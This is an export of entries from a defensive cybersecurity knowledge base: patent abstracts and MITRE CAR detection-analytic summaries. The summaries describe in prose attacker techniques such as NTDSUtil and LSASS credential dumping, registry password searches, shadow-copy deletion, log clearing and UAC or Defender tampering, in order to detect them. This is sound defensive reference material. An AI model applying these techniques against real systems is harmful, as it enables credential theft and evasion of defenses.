subclass of: RDPEvent

Gather Launch Information - SPARTA
type: Class
attack-id: REC-0004
definition: Threat actors may gather the launch date and time, location of the launch (country & specific site), organizations involved, launch vehicle, etc. This information can provide insight into protocols, regulations, and provide further targets for the threat actor, including specific vulnerabilities with the launch vehicle itself.
subclass of: SPARTAReconnaissanceTechnique
preferred label: Gather Launch Information

Range
type: Class
type: NamedIndividual
d3fend-id: D3A-RAN
definition: The range of a set of data is the difference between the largest and smallest value.
kb-article: ## References Wikipedia. (n.d.). Range (statistics). [Link](https://en.wikipedia.org/wiki/Range_(statistics))
subclass of: Variability

Reference - CAR-2019-07-001: Access Permission Modification - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-07-001/
kb-abstract: Adversaries sometimes modify object access rights at the operating system level. There are varying motivations behind this action - they may not want some files/objects to be changed on systems for persistence reasons and therefore provide admin only rights; also, they may want files to be accessible with lower levels of permissions.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemFileAnalysis
kb-reference-title: CAR-2019-07-001: Access Permission Modification

Reference - CAR-2019-08-002: Active Directory Dumping via NTDSUtil - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-08-002/
kb-abstract: The NTDSUtil tool may be used to dump a Microsoft Active Directory database to disk for processing with a credential access tool such as Mimikatz. This is performed by launching ntdsutil.exe as a privileged user with command line arguments indicating that media should be created for offline Active Directory installation and specifying a folder path. This process will create a copy of the Active Directory database, ntds.dit, to the specified folder path.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2019-08-002: Active Directory Dumping via NTDSUtil

Reference - Advanced device matching system
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10892951B2/
kb-abstract: Disclosed is a device management system for discovery and management of components added to computer systems and sub-systems. The device management system provides for recognizing a newly added component, and determining if the newly added component is already a part of the system inventory. The newly added component is matched with a component currently on the system, based on at least one matching attribute. A point total is calculated for each match level and a final match score is provided. The match score is compared with an aggressiveness level to determine if a match does indeed exist.
kb-author: Rajneesh Jalan, Joseph M. Schmitt, and Marco Simoes
kb-organization: Device42 Inc
kb-reference-of: HardwareComponentInventory
kb-reference-title: Advanced device matching system

Reference - CAR-2015-07-001: All Logins Since Last Boot - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2015-07-001/
kb-abstract: Once a credential dumper like mimikatz runs, every user logged on since boot is potentially compromised, because the credentials were accessed via the memory of lsass.exe. When such an event occurs, this analytic will give the forensic context to identify compromised users. Those users could potentially be used in later events for additional logons. The time field indicates the first and last time a system reported a user logged into a given system. This means that activity could be intermittent between the times given and should not be considered a duration.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: CredentialCompromiseScopeAnalysis
kb-reference-title: CAR-2015-07-001: All Logins Since Last Boot

Reference - Analysis of the Windows Vista Security Model - Symantec Corporation
type: AcademicPaperReference
type: NamedIndividual
has-link: https://web.archive.org/web/20140407025337/http://www.symantec.com/avcenter/reference/Windows_Vista_Security_Model_Analysis.pdf
kb-abstract: This paper provides an in-depth technical assessment of the security improvements implemented in Windows Vista, focusing primarily on the areas of User Account Protection and User Interface Privilege Isolation. This paper discusses these features and touches on several of their shortcomings. It then demonstrates how it is possible to combine these attacks to gain full control over the machine from low integrity, low privilege process.
kb-author: Matthew Conover
kb-organization: Symantec Corporation
kb-reference-of: SystemCallFiltering
kb-reference-title: Analysis of the Windows Vista Security Model

Reference - Anomaly Detection Using Adaptive Behavioral Profiles - Securonix Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160226901A1
kb-abstract: The invention provides a system and method for automatic creation of adaptive behavioral profiles for observables associated with resource states and events in a computer network (IT) infrastructure of an enterprise and for detecting anomalies that represent potential malicious activity and threats as deviations from normal behavior. Separate profiles may be created for each behavioral indicator, as well as for each time series of measurements, and aggregated to create an overall behavioral profile. An anomaly probability is determined from the behavioral profile and used to evaluate the data values of observables. Outlier data values which deviate from normal behavior by more than a predetermined probability threshold are identified for risk analysis as possible threats while inliers within the range of normal behavior are used to update the behavioral profile. Behavioral profiles are created for behavioral indicators based upon observables measured over predetermined time periods using algorithms employing statistical analysis approaches that work for any type of data distribution, and profiles are adapted over time using data aging to more closely represent current behavior. Algorithm parameters for creating profiles are based on the type of data, i.e., its metadata.
kb-author: Igor A. Baikalov; Tanuj Gulati; Sachin Nayyar; Anjaneya Shenoy; Ganpatrao H. Patwardhan
kb-mitre-analysis: The patent describes a technique for detecting anomalous activity within an organization's IT infrastructure to identify threats. Behavioral profiles can be grouped by peer groups that identify functionally similar groups of actors (users or resources) based on their attributes and pre-defined grouping rules. For example, users can be grouped by their job title, organizational hierarchy, or location and can be observed for similarities in access patterns, based on granted access entitlements or actual logged resource access. Behavioral profiles are created from measurements of events over a time period for example: * Transaction counts * Concurrent users per hour * Daily volume of data Outlier data values which deviate from behavioral profile by more than a predetermined probability threshold are identified for risk analysis as possible threats.
kb-organization: Securonix Inc
kb-reference-of: JobFunctionAccessPatternAnalysis
kb-reference-title: Anomaly Detection Using Adaptive Behavioral Profiles

Reference - Anti-tamper system with self-adjusting guards - ARXAN TECHNOLOGIES Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150052603A1
kb-abstract: An anti-tamper system is disclosed that includes self-adjusting guards inserted in software. Self-adjusting guards include invocation criteria and guard function. During run-time, each time the self-adjusting guard is invoked, the invocation criteria is evaluated and the guard function is only executed if the invocation criteria is satisfied. The invocation criteria can be static or dynamic, satisfied randomly with fixed or varying probability, a monotonically or exponentially decreasing function or most any other type of function. The invocation criteria can be satisfied based on elapsed inter-guard invocation time (time since last guard function execution), target inter-guard invocation time, and/or guard execution time. A method is disclosed of inserting self-adjusting guards into software, and executing the software. Evaluating the invocation criteria can include adjusting the invocation criteria when satisfied. The self-adjusting guards can be inserted into the software at a source or object code level.
kb-author: Kevin Dale Morgan
kb-organization: ARXAN TECHNOLOGIES Inc
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: Anti-tamper system with self-adjusting guards

Reference - Approaches for securing an internet endpoint using fine-grained operating system virtualization - Bromium, Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20110296412A1
kb-abstract: Approaches for executing untrusted software on a client without compromising the client using micro-virtualization to execute untrusted software in isolated contexts. A template for instantiating a virtual machine on a client is identified in response to receiving a request to execute an application. After the template is identified, without human intervention, a virtual machine is instantiated, using the template, in which the application is to be executed. The template may be selected from a plurality of templates based on the nature of the request, as each template describe characteristics of a virtual machine suitable for a different type of activity. Selected resources such as files are displayed to the virtual machines according to user and organization policies and controls. When the client determines that the application has ceased to execute, the client ceases execution of the virtual machine without human intervention.
kb-author: Gaurav Banga, Ian Pratt, Kiran Bondalapati, Vikram Kapoor
kb-organization: Bromium, Inc.
kb-reference-of: Hardware-basedProcessIsolation
kb-reference-title: Approaches for securing an internet endpoint using fine-grained operating system virtualization

Reference - Architecture of transparent network security for application containers - Neuvector Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170093922A1
kb-abstract: A system comprises one or more application containers, each application container including computer-readable instructions and initiated via a container service and isolated using operating system-level virtualization. The system also comprises one or more virtual switches configured to route traffic from the application containers. The system further comprises one or more security containers, each security container configured to transparently intercept traffic from the one or more application containers for analysis of network security. The system further comprises a user interface (UI) container configured to receive configuration settings from a user. The system also comprises an analytics container configured to perform analysis on data received from the one or more security containers. The system also comprises a management container configured to configure settings for the one or more security containers and the analytics container.
kb-author: Gang Duan
kb-organization: Neuvector Inc
kb-reference-of: SystemCallFiltering
kb-reference-title: Architecture of transparent network security for application containers

Reference - Automated computer vulnerability resolution system
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US7308712B2
kb-abstract: A system and process for addressing computer security vulnerabilities. The system and process generally comprise aggregating vulnerability information on a plurality of computer vulnerabilities; constructing a remediation database of said plurality of computer vulnerabilities; constructing a remediation signature to address the computer vulnerabilities; and deploying said remediation signature to a client computer. The remediation signature essentially comprises a sequence of actions to address a corresponding vulnerability. A managed automated approach to the process is contemplated in which the system is capable of selective deployment of remediation signatures; selective resolution of vulnerabilities; scheduled deployment of remediation signatures; and scheduled scanning of client computers for vulnerabilities.
kb-author: Carl E. Banzhof
kb-organization: McAfee LLC
kb-reference-of: AssetVulnerabilityEnumeration
kb-reference-title: Automated computer vulnerability resolution system

Reference - Automatically generating network resource groups and assigning customized decoy policies thereto - Illusive Networks Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170310689A1
kb-abstract: A cyber security system comprising circuitry of a decoy deployer planting one or more decoy lateral attack vectors in each of a first and a second group of resources within a common enterprise network of resources, the first and second groups of resources having different characteristics in terms of subnets, naming conventions, DNS aliases, listening ports, users and their privileges, and installed applications, wherein a lateral attack vector is an object of a first resource within the network that has a potential to be used by an attacker who discovered the first resource to further discover information regarding a second resource within the network, the second resource being previously undiscovered by the attacker, and wherein the decoy lateral attack vectors in the first group conform to the characteristics of the first group, and the decoy lateral attack vectors in the second group conform to the characteristics of the second group.
kb-author: Shlomo Touboul; Hanan Levin; Stephane Roubach; Assaf Mischari; Itai Ben David; Itay Avraham; Adi Ozer; Chen Kazaz; Ofer Israeli; Olga Vingurt; Liad Gareh; Israel Grimberg; Cobby Cohen; Sharon Sultan; Matan Kubovsky
kb-organization: Illusive Networks Ltd
kb-reference-of: DecoyNetworkResource
kb-reference-title: Automatically generating network resource groups and assigning customized decoy policies thereto

Reference - Broadcast isolation and level 3 network switch - Hewlett Packard Enterprise Development LP
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US5920699A
kb-abstract: A network switch comprising a switching Application Specific Integrated Circuit (ASIC) and a Virtual Switching Engine (VSE) connected to a plurality of ports. The switching ASIC has a high-speed memory table which enables it to look up addresses that it has previously obtained and to forward unicast packets to said addresses. The VSE is a CPU that makes switching decisions outside of the ASIC and keeps track of any unknown addresses, forwarding the packets out the appropriate ports and answers broadcast packets by proxy for all known addresses without forwarding any of the packets down the VLANs, thereby freeing the VLAN bandwidth from excessive traffic. The system requires no user configuration because the switching methodology is self-adaptive to the network in which it is inserted and has the ability to perform router functions such as level 2 and 3 switching, spanning tree protocols and compatibility with Internetwork Packet and Internetwork Packet Exchange networks.
kb-author: Ballard C. Bare
kb-organization: Hewlett Packard Enterprise Development LP
kb-reference-of: BroadcastDomainIsolation
kb-reference-title: Broadcast isolation and level 3 network switch

Reference - CAR-2014-05-001: RPC Activity - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-05-001/
kb-abstract: Microsoft Windows uses its implementation of Distributed Computing Environment/Remote Procedure Call (DCE/RPC), which it calls Microsoft RPC, to call certain APIs remotely. A Remote Procedure Call is initiated by communicating to the RPC Endpoint Mapper, which exists as the Windows service RpcEptMapper and listens on the port 135/tcp. The endpoint mapper resolves a requested endpoint/interface and responds to the client with the port that the service is listening on. Since the RPC endpoints are assigned ports when the services start, these ports are dynamically assigned from 49152 to 65535. The connection to the endpoint mapper then terminates and the client program can communicate directly with the requested service. RPC is a legitimate functionality of Windows that allows remote interaction with a variety of services. For a Windows environment to be properly configured, several programs use RPC to communicate legitimately with servers. The background and benign RPC activity may be enormous, but must be learned, especially peer-to-peer RPC between workstations, which is often indicative of Lateral Movement.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RPCTrafficAnalysis
kb-reference-title: CAR-2014-05-001: RPC Activity

Reference - CAR-2014-11-007: Remote Windows Management Instrumentation (WMI) over RPC - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
kb-abstract: As described in ATT&CK, an adversary can use Windows Management Instrumentation (WMI) to view or manipulate objects on a remote host. It can be used to remotely edit configuration, start services, query files, and anything that can be done with a WMI class. When remote WMI requests are over RPC (CAR-2014-05-001), it connects to a DCOM interface within the RPC group netsvcs. To detect this activity, a sensor is needed at the network level that can decode RPC traffic or on the host where the communication can be detected more natively, such as Event Tracing for Windows. Using wireshark/tshark decoders, the WMI interfaces can be extracted so that WMI activity over RPC can be detected. Although the description details how to detect remote WMI precisely, a decent estimate has been to look for the string RPCSS within the initial RPC connection on 135/tcp. It returns a superset of this activity, and will trigger on all DCOM-related services running within RPC, which is likely to also be activity that should be detected between hosts. More about RPCSS at : rpcss_dcom_interfaces.html
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: RPCTrafficAnalysis
kb-reference-title: CAR-2014-11-007: Remote Windows Management Instrumentation (WMI) over RPC

Reference - CAR-2015-04-001: Remotely Scheduled Tasks via AT - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2015-04-001/
kb-abstract: When AT.exe is used to remotely schedule tasks, Windows uses named pipes over SMB to communicate with the API on the remote machine. After authentication over SMB, the Named Pipe “ATSVC” is opened, over which the JobAdd function is called. On the remote host, the job files are created by the Task Scheduler and follow the convention C:\Windows\System32\AT<job\_id>. Unlike CAR-2013-05-004, this analytic specifically focuses on uses of AT that can be detected between hosts, indicating remotely gained execution. This pipe activity could be discovered with a network decoder, such as that in wireshark, that can inspect SMB traffic to identify the use of pipes. It could also be detected by looking for raw packet capture streams or from a custom sensor on the host that hooks the appropriate API functions. If no network or API level of visibility is possible, this traffic may inferred by looking at SMB connections over 445/tcp followed by the creation of files matching the pattern C:\Windows\System32\AT\<job_id\>.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: IPCTrafficAnalysis
kb-reference-title: CAR-2015-04-001: Remotely Scheduled Tasks via AT

Reference - CAR-2016-04-004: Successful Local Account Login
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2016-04-004/
kb-reference-of: LocalAccountMonitoring
kb-reference-title: Reference - CAR-2016-04-004: Successful Local Account Login

Reference - CAR-2020-04-001: Shadow Copy Deletion - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-04-001/
kb-abstract: The Windows Volume Shadow Copy Service is a built-in OS feature that can be used to create backup copies of files and volumes. Adversaries may delete these shadow copies, typically through the usage of system utilities such as vssadmin.exe or wmic.exe, in order prevent file and data recovery. This technique is commonly employed for this purpose by ransomware.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-04-001: Shadow Copy Deletion

Reference - CAR-2020-05-001: MiniDump of LSASS - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-05-001/
kb-abstract: This analytic detects the minidump variant of credential dumping where a process opens lsass.exe in order to extract credentials using the Win32 API call MiniDumpWriteDump. Tools like SafetyKatz, SafetyDump, and Outflank-Dumpert default to this variant and may be detected by this analytic, though keep in mind that not all options for using those tools will result in this specific behavior. The analytic is based on a Sigma analytic contributed by Samir Bousseaden and written up in a blog on MENASEC. It looks for a call trace that includes either dbghelp.dll or dbgcore.dll, which export the relevant functions/permissions to perform the dump. It also detects using the Windows Task Manager (taskmgr.exe) to dump lsass, which is described in CAR-2019-08-001. In this iteration of the Sigma analytic, the GrantedAccess filter isn’t included because it didn’t seem to filter out any false positives and introduces the potential for evasion. This analytic was tested both in a lab and in a production environment with a very low false-positive rate. werfault.exe and tasklist.exe, both standard Windows processes, showed up multiple times as false positives.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemCallAnalysis
kb-reference-title: CAR-2020-05-001: MiniDump of LSASS

Reference - CAR-2020-05-003: Rare LolBAS Command Lines - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-05-003/
kb-abstract: LoLBAS are binaries and scripts that are built in to Windows, frequently are signed by Microsoft, and may be used by an attacker. Some LoLBAS are used very rarely and it might be possible to alert every time they’re used (this would depend on your environment), but many others are very common and can’t be simply alerted on. This analytic takes all instances of LoLBAS execution and then looks for instances of command lines that are not normal in the environment. This can detect attackers (which will tend to need the binaries for something different than normal usage) but will also tend to have false positives. The analytic needs to be tuned. The 1.5 in the query is the number of standard deviations away to look. It can be tuned up to filter out more noise and tuned down to get more results. This means it is probably best as a hunting analytic when you have analysts looking at the screen and able to tune the analytic up and down, because the threshold may not be stable for very long.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-05-003: Rare LolBAS Command Lines

Reference - CAR-2020-08-001: NTFS Alternate Data Stream Execution - System Utilities - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-08-001/
kb-abstract: NTFS Alternate Data Streams (ADSs) may be used by adversaries as a means of evading security tools by storing malicious data or binaries in file attribute metadata. ADSs are also powerful because they can be directly executed by various Windows tools; accordingly, this analytic looks at common ways of executing ADSs using system utilities such as powershell.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-08-001: NTFS Alternate Data Stream Execution - System Utilities

Reference - CAR-2020-09-001: Scheduled Task - FileAccess - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-09-001/
kb-abstract: In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows Task Scheduler to schedule a command to be run at a specified time, date, and even host. Task Scheduler stores tasks as files in two locations - C:\Windows\Tasks (legacy) or C:\Windows\System32\Tasks. Accordingly, this analytic looks for the creation of task files in these two locations.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: File Creation Analysis
kb-reference-title: CAR-2020-09-001: Scheduled Task - FileAccess

Reference - CAR-2020-09-002: Component Object Model Hijacking - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-09-002/
kb-abstract: Adversaries may establish persistence or escalate privileges by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. This is typically done by replacing COM object registry entries under the HKEY_CURRENT_USER\Software\Classes\CLSID or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID keys. Accordingly, this analytic looks for any changes under these keys.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: UserSessionInitConfigAnalysis
kb-reference-title: CAR-2020-09-002: Component Object Model Hijacking

Reference - CAR-2020-09-003: Indicator Blocking - Driver Unloaded - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-09-003/
kb-abstract: Adversaries may attempt to evade system defenses by unloading minifilter drivers used by host-based sensors such as Sysmon through the use of the fltmc command-line utility. Accordingly, this analytic looks for command-line invocations of this utility when used to unload minifilter drivers.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-09-003: Indicator Blocking - Driver Unloaded

Reference - CAR-2020-09-004: Credentials in Files & Registry - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-09-004/
kb-abstract: Adversaries may search the Windows Registry on compromised systems for insecurely stored credentials for credential access. This can be accomplished using the query functionality of the reg.exe system utility, by looking for keys and values that contain strings such as “password”. In addition, adversaries may use toolkits such as PowerSploit in order to dump credentials from various applications such as IIS.Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several powersploit modules with similar functionality.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-09-004: Credentials in Files & Registry

Reference - CAR-2020-09-005: AppInit DLLs - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-09-005/
kb-abstract: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. These values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes. Accordingly, this analytic looks for modifications to these registry keys that may be indicative of this type of abuse.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemInitConfigAnalysis
kb-reference-title: CAR-2020-09-005: AppInit DLLs

Reference - CAR-2020-11-002: Local Network Sniffing - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-002/
kb-abstract: Adversaries may use a variety of tools to gain visibility on the current status of things on the network: which processes are listening on which ports, which services are running on other hosts, etc. This analytic looks for the names of the most common network sniffing tools. While this may be noisy on networks where sysadmins are using any of these tools on a regular basis, in most networks their use is noteworthy.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2020-11-002: Local Network Sniffing

Reference - CAR-2020-11-003: DLL Injection with Mavinject - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-003/
kb-abstract: Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument “INJECTRUNNING” as a related signature here. Whitelisting certain applications may be necessary to reduce noise for this analytic.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-003: DLL Injection with Mavinject

Reference - CAR-2020-11-004: Processes Started From Irregular Parent - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-004/
kb-abstract: Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2020-11-004: Processes Started From Irregular Parent

Reference - CAR-2020-11-005: Clear Powershell Console Command History - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-005/
kb-abstract: Adversaries may attempt to conceal their tracks by deleting the history of commands run within the Powershell console, or turning off history saving to begin with. This analytic looks for several commands that would do this. This does not capture the event if it is done within the console itself; only commandline-based commands are detected. Note that the command to remove the history file directly may very a bit if the history file is not saved in the default path on a particular system.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-005: Clear Powershell Console Command History

Reference - CAR-2020-11-006: Local Permission Group Discovery - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-006/
kb-abstract: Cyber actors frequently enumerate local or domain permissions groups. The net utility is usually used for this purpose. This analytic looks for any instances of net.exe, which is not normally used for benign purposes, although system administrator actions may trigger false positives.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-006: Local Permission Group Discovery

Reference - CAR-2020-11-007: Network Share Connection Removal - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-007/
kb-abstract: Adversaries may use network shares to exfliltrate date; they will then remove the shares to cover their tracks. This analytic looks for the removal of network shares via commandline, which is otherwise a rare event.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-007: Network Share Connection Removal

Reference - CAR-2020-11-008: MSBuild and msxsl - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-008/
kb-abstract: Trusted developer utilities such as MSBuild may be leveraged to run malicious code with elevated privileges. This analytic looks for any instances of msbuild.exe, which will execute any C# code placed within a given XML document; and msxsl.exe, which processes xsl transformation specifications for XML files and will execute a variaty of scripting languages contained within the XSL file. Both of these executables are rarely used outside of Visual Studio.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-008: MSBuild and msxsl

Reference - CAR-2020-11-009: Compiled HTML Access - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-009/
kb-abstract: Adversaries may hide malicious code in .chm compiled HTML files. When these files are read, Windows uses the HTML help executable named hh.exe, which is the signature for this analytic.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-009: Compiled HTML Access

Reference - CAR-2020-11-011: Registry Edit from Screensaver
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-011/
kb-abstract: Adversaries may use screensaver files to run malicious code. This analytic triggers on suspicious edits to the screensaver registry keys, which dictate which .scr file the screensaver runs.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: UserSessionInitConfigAnalysis
kb-reference-title: CAR-2020-11-011: Registry Edit from Screensaver

Reference - CAR-2021-01-002: Unusually Long Command Line Strings - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-002/
kb-abstract: Often, after a threat actor gains access to a system, they will attempt to run some kind of malware to further infect the victim machine. These malware often have long command line strings, which could be a possible indicator of attack. Here, we use sysmon and Splunk to first find the average command string length and search for command strings that stretch over multiple lines, thus identifying anomalies and possibly malicious commands.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-002: Unusually Long Command Line Strings

Reference - CAR-2021-01-003: Clearing Windows Logs with Wevtutil - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-003/
kb-abstract: In an attempt to clear traces after compromising a machine, threat actors often try to clear Windows Event logs. This is often done using “wevtutil”, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network.
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-003: Clearing Windows Logs with Wevtutil

Reference - CAR-2021-01-004: Unusual Child Process for Spoolsv.Exe or Connhost.Exe - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-004/
kb-abstract: After gaining initial access to a system, threat actors attempt to escalate privileges as they may be operating within a lower privileged process which does not allow them to access protected information or carry out tasks which require higher permissions. A common way of escalating privileges in a system is by externally invoking and exploiting spoolsv or connhost executables, both of which are legitimate Windows applications. This query searches for an invocation of either of these executables by a user, thus alerting us of any potentially malicious activity.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-004: Unusual Child Process for Spoolsv.Exe or Connhost.Exe

Reference - CAR-2021-01-006: Unusual Child Process spawned using DDE exploit - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-006/
kb-abstract: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-006: Unusual Child Process spawned using DDE exploit

Reference - CAR-2021-01-007: Detecting Tampering of Windows Defender Command Prompt - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-007/
kb-abstract: In an attempt to avoid detection after compromising a machine, threat actors often try to disable Windows Defender. This is often done using “sc” [service control], a legitimate tool provided by Microsoft for managing services. This action interferes with event detection and may lead to a security event going undetected, thereby potentially leading to further compromise of the network.
kb-author: MITRE
kb-mitre-analysis: d
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-007: Detecting Tampering of Windows Defender Command Prompt

Reference - CAR-2021-01-008: Disable UAC - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-008/
kb-abstract: Threat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using “reg.exe”, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-008: Disable UAC

Reference - CAR-2021-01-009: Detecting Shadow Copy Deletion via Vssadmin.exe - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-01-009/
kb-abstract: After compromising a network of systems, threat actors often try to delete Shadow Copy in an attempt to prevent administrators from restoring the systems to versions present before the attack. This is often done via vssadmin, a legitimate Windows tool to interact with shadow copies. This non-detection of this technique, which is often employed by ransomware strains such as “Olympic Destroyer”, may lead to a failure in recovering systems after an attack.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-01-009: Detecting Shadow Copy Deletion via Vssadmin.exe

